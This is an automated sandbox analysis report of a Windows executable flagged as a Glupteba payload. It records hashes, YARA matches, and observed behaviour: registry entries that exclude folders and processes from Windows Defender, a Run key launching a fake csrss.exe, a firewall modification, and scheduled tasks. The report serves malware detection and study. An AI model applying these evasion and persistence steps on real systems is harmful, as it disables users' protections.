Analysis
-
max time kernel
181s -
max time network
180s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
29-01-2023 16:20
Static task
static1
Behavioral task
behavioral1
Sample
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Resource
win7-20221111-en
General
-
Target
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
-
Size
4.0MB
-
MD5
e006b2b08833a38314bad962b8e549eb
-
SHA1
289e9b527460258ce38402604b82ab1784b93229
-
SHA256
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409
-
SHA512
2a4f4e47c909abfd6a59a38536b357d7ff84177094897ea2819fd87dfc07b239061395ce3fd5ffbbf14a2d709b34691f975adf598b7e89ee6b607289d0b87e03
-
SSDEEP
98304:rGCKnQtyq51ek1S7mP13ds372CfpMyc61mEy6Ti9Hvti2:rzKfS1ehmd3IZfpJc6HLTOHvp
Malware Config
Signatures
-
Glupteba payload 9 IoCs
Processes:
resource yara_rule behavioral1/memory/1924-56-0x0000000004BF0000-0x00000000052E6000-memory.dmp family_glupteba behavioral1/memory/1924-57-0x0000000000400000-0x0000000002FDF000-memory.dmp family_glupteba behavioral1/memory/1924-58-0x0000000000400000-0x0000000002FDF000-memory.dmp family_glupteba behavioral1/memory/1924-59-0x0000000000400000-0x0000000002FDF000-memory.dmp family_glupteba behavioral1/memory/596-62-0x0000000000400000-0x0000000002FDF000-memory.dmp family_glupteba behavioral1/memory/596-70-0x0000000000400000-0x0000000002FDF000-memory.dmp family_glupteba behavioral1/memory/1856-73-0x0000000004C60000-0x0000000005356000-memory.dmp family_glupteba behavioral1/memory/1856-74-0x0000000000400000-0x0000000002FDF000-memory.dmp family_glupteba behavioral1/memory/1856-75-0x0000000000400000-0x0000000002FDF000-memory.dmp family_glupteba -
Processes:
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\172e420dfb7b.exe = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\172e420dfb7b\172e420dfb7b = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\OldHaze = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe -
Executes dropped EXE 1 IoCs
Processes:
csrss.exepid process 1856 csrss.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Loads dropped DLL 2 IoCs
Processes:
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exepid process 596 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe 596 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe -
Processes:
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\172e420dfb7b\172e420dfb7b = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\OldHaze = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\172e420dfb7b.exe = "0" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows\CurrentVersion\Run\OldHaze = "\"C:\\Windows\\rss\\csrss.exe\"" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Windows directory 3 IoCs
Processes:
makecab.exea11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exedescription ioc process File created C:\Windows\Logs\CBS\CbsPersist_20230129172225.cab makecab.exe File opened for modification C:\Windows\rss a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe File created C:\Windows\rss\csrss.exe a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1732 schtasks.exe 1716 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exea11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exepid process 1924 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe 596 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exedescription pid process Token: SeDebugPrivilege 1924 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe Token: SeImpersonatePrivilege 1924 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.execmd.exedescription pid process target process PID 596 wrote to memory of 1068 596 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe cmd.exe PID 596 wrote to memory of 1068 596 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe cmd.exe PID 596 wrote to memory of 1068 596 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe cmd.exe PID 596 wrote to memory of 1068 596 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe cmd.exe PID 1068 wrote to memory of 884 1068 cmd.exe netsh.exe PID 1068 wrote to memory of 884 1068 cmd.exe netsh.exe PID 1068 wrote to memory of 884 1068 cmd.exe netsh.exe PID 596 wrote to memory of 1856 596 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe csrss.exe PID 596 wrote to memory of 1856 596 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe csrss.exe PID 596 wrote to memory of 1856 596 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe csrss.exe PID 596 wrote to memory of 1856 596 a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe csrss.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe"C:\Users\Admin\AppData\Local\Temp\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe"C:\Users\Admin\AppData\Local\Temp\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
